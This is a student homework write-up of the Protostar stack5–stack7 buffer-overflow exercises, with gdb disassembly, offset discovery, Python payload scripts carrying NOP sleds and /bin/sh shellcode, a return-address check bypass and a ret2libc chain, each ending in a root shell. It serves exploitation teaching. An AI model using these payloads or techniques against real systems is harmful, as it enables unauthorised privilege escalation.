Homework 2

Ng Tze Kean

Friday 22nd March, 2024; 15:40

Stack 5

Problem

We call bash to list the functions that are in the program and we find that there is only one function this time.

```
info function
>>>File stack5/stack5.c:
>>>int main(int, char **);
```

We try to disassemble the main function to figure out what we are trying to exploit.

```
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   ebp
0x080483c5 <main+1>:    mov    ebp,esp
0x080483c7 <main+3>:    and    esp,0xfffffff0
0x080483ca <main+6>:    sub    esp,0x50
0x080483cd <main+9>:    lea    eax,[esp+0x10]
0x080483d1 <main+13>:   mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
```

There only seems to be a function call `gets` which we can try to maneuver with.

Idea and Attack process

We plan to inject code through the ‘gets‘ call by overflowing the stack such that we can inject some form of code that we want to run.

There are 72bytes to replace from top of stack to ebp. We also have to replace 4 more bytes to remove the ebp of the previous caller then we can inject the address of the shellcode

which is 8 bytes after the current ebp. Recall that the block below the ebp is the previous ebp (from push ebp) followed by the return address and following that address will be our shellcode.

```
b*0x080483d1
run
info reg ebp esp
ebp            0xbffffcb8       0xbffffcb8
esp            0xbffffc60       0xbffffc60
```

We first figure out what is the ebp and esp that we should manipulate with. From the output, we can guess the size of the buffer and we can be sure that the size of the buffer is still 64bytes, and the 76bytes planned initially is valid.

We construct a python file to conjure up the needed values to run our code.

```
import struct
filler = "1" * 76
addr = struct.pack("I", 0xbffffcc4+64)
nop = "\x90"*128
code = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\
xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\
x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

print filler+addr+nop+code
```

We position our address 50bytes after the ebp such that the address will fall within the nop instructions that is injected. When the CPU runs the nop, it will keep executing till it reaches the shell code that we plan to inject. The shell code was obtained online.

```
whoami
>>>user
vim stack5_py.py
python stack5_py.py > /tmp/payload
./stack5 < /tmp/payload
whoami
>>>root
```

Running the script, we get the shellcode to run and when we prompt ‘whoami‘ now, it returns root instead of user.

Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

Stack 6

Problem

```
info functions
>>>File stack6/stack6.c:
>>>void getpath(void);
>>>int main(int, char **);
```

We try to check what the function actually does and we realise that in `getpath+52` there is some form of comparison with what looks like an address.

```
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:        mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:        call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:        mov    eax,ds:0x8049720
0x0804849c <getpath+24>:        mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:        call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:        lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:        mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:        call   0x8048380 <gets@plt>
0x080484af <getpath+43>:        mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:        mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:        mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:        and    eax,0xbf000000
0x080484bd <getpath+57>:        cmp    eax,0xbf000000
0x080484c2 <getpath+62>:        jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:        mov    eax,0x80485e4
0x080484c9 <getpath+69>:        mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:        mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:        mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:        call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:        mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:        call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:        mov    eax,0x80485f0
0x080484e9 <getpath+101>:       lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:       mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:       mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:       call   0x80483c0 <printf@plt>
```

```
0x080484f8 <getpath+116>:       leave
0x080484f9 <getpath+117>:       ret
End of assembler dump.
```

Running gdb with the breakpoint at that address will show us that if we try to stack overflow and try to inject another return address such that we run a shell code, the return address changed will be detected. This is because the location that we plan to target will reside above ebp addresses which would have to start with `0xbf000000`. We now have to come up with another way to return the function.

```
esp            0xbffffc40       0xbffffc40
ebp            0xbffffca8       0xbffffca8
```

Since there is a check on the address, we want to bypass that check on the address we plan to inject. Recall that the `ret` call copies the address pointed to by esp to eip.

Idea and Attack process

We first find the offset such that we can inject the address to hop back to `ret`. From the error we can work back to find that the offset if 80.

```
./stack6
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5
Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
>>>Program received signal SIGSEGV, Segmentation fault.
>>>0x37634136 in ?? ()
```

We prepare the script to generate the attack below. We initially started with offsetting at 50 but the script could only run successfully in gdb, and runs into 'Illegal Instruction' when executing in shell. Looking a bit deeper, it could be that the offset is not placing the script with correct alignment in memory. We change the offset to be in multiple of 4s. We also increase the offset to a greater amount so that we avoid the chances of the code being truncated.

```
import struct
filler = "1" * 80
addr_hop = struct.pack("I", 0x080484f9)
addr_code = struct.pack("I", 0xbffffca0+128)
nop = "\x90"*256
code =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\
x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\
x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\
```

```
xcd\x80"

print filler+addr_hop+addr_code+nop+code
```

Running the code below we see that we gain access into shell as root.

```
whoami
>>>user
vim stack6_py.py
python stack6_py.py > /tmp/payload
./stack6 < /tmp/payload
whoami
>>>root
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
```

Stack 7

Problem

```
Dump of assembler code for function getpath:
0x080484c4 <getpath+0>: push   ebp
0x080484c5 <getpath+1>: mov    ebp,esp
0x080484c7 <getpath+3>: sub    esp,0x68
0x080484ca <getpath+6>: mov    eax,0x8048620
0x080484cf <getpath+11>:        mov    DWORD PTR [esp],eax
0x080484d2 <getpath+14>:        call   0x80483e4 <printf@plt>
0x080484d7 <getpath+19>:        mov    eax,ds:0x8049780
0x080484dc <getpath+24>:        mov    DWORD PTR [esp],eax
0x080484df <getpath+27>:        call   0x80483d4 <fflush@plt>
0x080484e4 <getpath+32>:        lea    eax,[ebp-0x4c]
0x080484e7 <getpath+35>:        mov    DWORD PTR [esp],eax
0x080484ea <getpath+38>:        call   0x80483a4 <gets@plt>
0x080484ef <getpath+43>:        mov    eax,DWORD PTR [ebp+0x4]
0x080484f2 <getpath+46>:        mov    DWORD PTR [ebp-0xc],eax
0x080484f5 <getpath+49>:        mov    eax,DWORD PTR [ebp-0xc]
0x080484f8 <getpath+52>:        and    eax,0xb0000000
0x080484fd <getpath+57>:        cmp    eax,0xb0000000
0x08048502 <getpath+62>:        jne    0x8048524 <getpath+96>
0x08048504 <getpath+64>:        mov    eax,0x8048634
0x08048509 <getpath+69>:        mov    edx,DWORD PTR [ebp-0xc]
0x0804850c <getpath+72>:        mov    DWORD PTR [esp+0x4],edx
0x08048510 <getpath+76>:        mov    DWORD PTR [esp],eax
0x08048513 <getpath+79>:        call   0x80483e4 <printf@plt>
0x08048518 <getpath+84>:        mov    DWORD PTR [esp],0x1
0x0804851f <getpath+91>:        call   0x80483c4 <_exit@plt>
0x08048524 <getpath+96>:        mov    eax,0x8048640
0x08048529 <getpath+101>:       lea    edx,[ebp-0x4c]
0x0804852c <getpath+104>:       mov    DWORD PTR [esp+0x4],edx
0x08048530 <getpath+108>:       mov    DWORD PTR [esp],eax
0x08048533 <getpath+111>:       call   0x80483e4 <printf@plt>
0x08048538 <getpath+116>:       lea    eax,[ebp-0x4c]
0x0804853b <getpath+119>:       mov    DWORD PTR [esp],eax
0x0804853e <getpath+122>:       call   0x80483f4 <strdup@plt>
0x08048543 <getpath+127>:       leave
0x08048544 <getpath+128>:       ret
End of assembler dump.
```

Idea and Attack process

We try to find the offset for the target by injecting the string below. Based on the segmentation fault message we can deduce that the offset needed is 80bytes.

```
./stack7
>>>input path please:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0
Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1
Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2
Ag3Ag4Ag5Ag
>>Program received signal SIGSEGV, Segmentation fault.
>>0x37634136 in ?? ()
```

```
import struct
filler = "1" * 80
addr_hop = struct.pack("I", 0x08048544)
addr_code = struct.pack("I", 0xbffffcb4+256)
nop = "\x90"*528
code =  "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\
x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\
x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\
xcd\x80"
print filler+addr_hop+addr_code+nop+code
```

We run the code below and we realise that the exploit is not working even after increase the nop sled. We try to find another way perhaps ret2libc.

```
vim stack7_py.py
python stack7_py.py > /tmp/payload
(python stack7_py.py; cat) | ./stack7
```

Lets try to find the address of the lib-c. We use the following commands to obtain the necessary information.

```
info proc map
>>>process 6855
>>>cmdline = '/opt/protostar/bin/stack7'
>>>cwd = '/opt/protostar/bin'
>>>exe = '/opt/protostar/bin/stack7'
>>>Mapped address spaces:
>>>
>>>        Start Addr   End Addr       Size     Offset objfile
```

```
>>>         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack7
>>>         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack7
>>>        0xb7e96000 0xb7e97000     0x1000          0
>>>        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
>>>        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
>>>        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
>>>        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
>>>        0xb7fd9000 0xb7fdc000     0x3000          0
>>>        0xb7fde000 0xb7fe2000     0x4000          0
>>>        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
>>>        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
>>>        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
>>>        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
>>>        0xbffeb000 0xc0000000    0x15000          0           [stack]

p system
>>>$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
p exit
>>>$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
```

We note that the base address of lib-c is ‘0xb7e97000‘.

We identify the location of the ‘system‘ command in lib-c to invoke it during the attack. The ‘exit‘ command is used so that the attack exits gracefully once we exit the shell. The ‘system‘ command takes in parameters to run, we want to pass in the ‘
bin
sh‘ command to system, one way is to use the address in lib-c that contains it. Through checking lib-c, we find the offset to the string and use it with the base address to obtain the pointer to the string. We should note that the structure of the stack is as follow below which we are trying to emulate. The system call will obtain the parameter 8bytes below ebp, which is past the old ebp and the return address.

```
function address (system call)
return address (exit call)
parameters (/bin/sh)
```

With the plan in place, we create the following script and run it.

```
import struct

filler = "1" * 80
addr_hop = struct.pack("I", 0x08048544)
libc_start = 0xb7e97000
string_offset = 0x11f3bf
bin_addr = struct.pack("I", libc_start + string_offset)
```

```
system_addr = struct.pack("I", 0xb7ecffb0)
exit_addr = struct.pack("I", 0xb7ec60c0)

print filler + addr_hop + system_addr + exit_addr + bin_addr
```

We run the following script, this time since we want to hold the shell open, we pass in the script as such whereby after the ‘cat‘ command, we pass a ‘-‘ such that the terminal holds the shell open for us to pass in other commands. Reference ‘cat‘ command using ‘man‘ -¿ (cat f - g Output f’s contents, then standard input, then g’s contents.)

```
whoami
>>>user
vim stack7_py.py
python stack7_py.py > /tmp/payload
cat /tmp/payload - | ./stack7
whoami
>>>root
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
```

```
23    return strdup(buffer);
24  }
25
26  int main(int argc, char **argv)
27  {
28    getpath();
29  }
```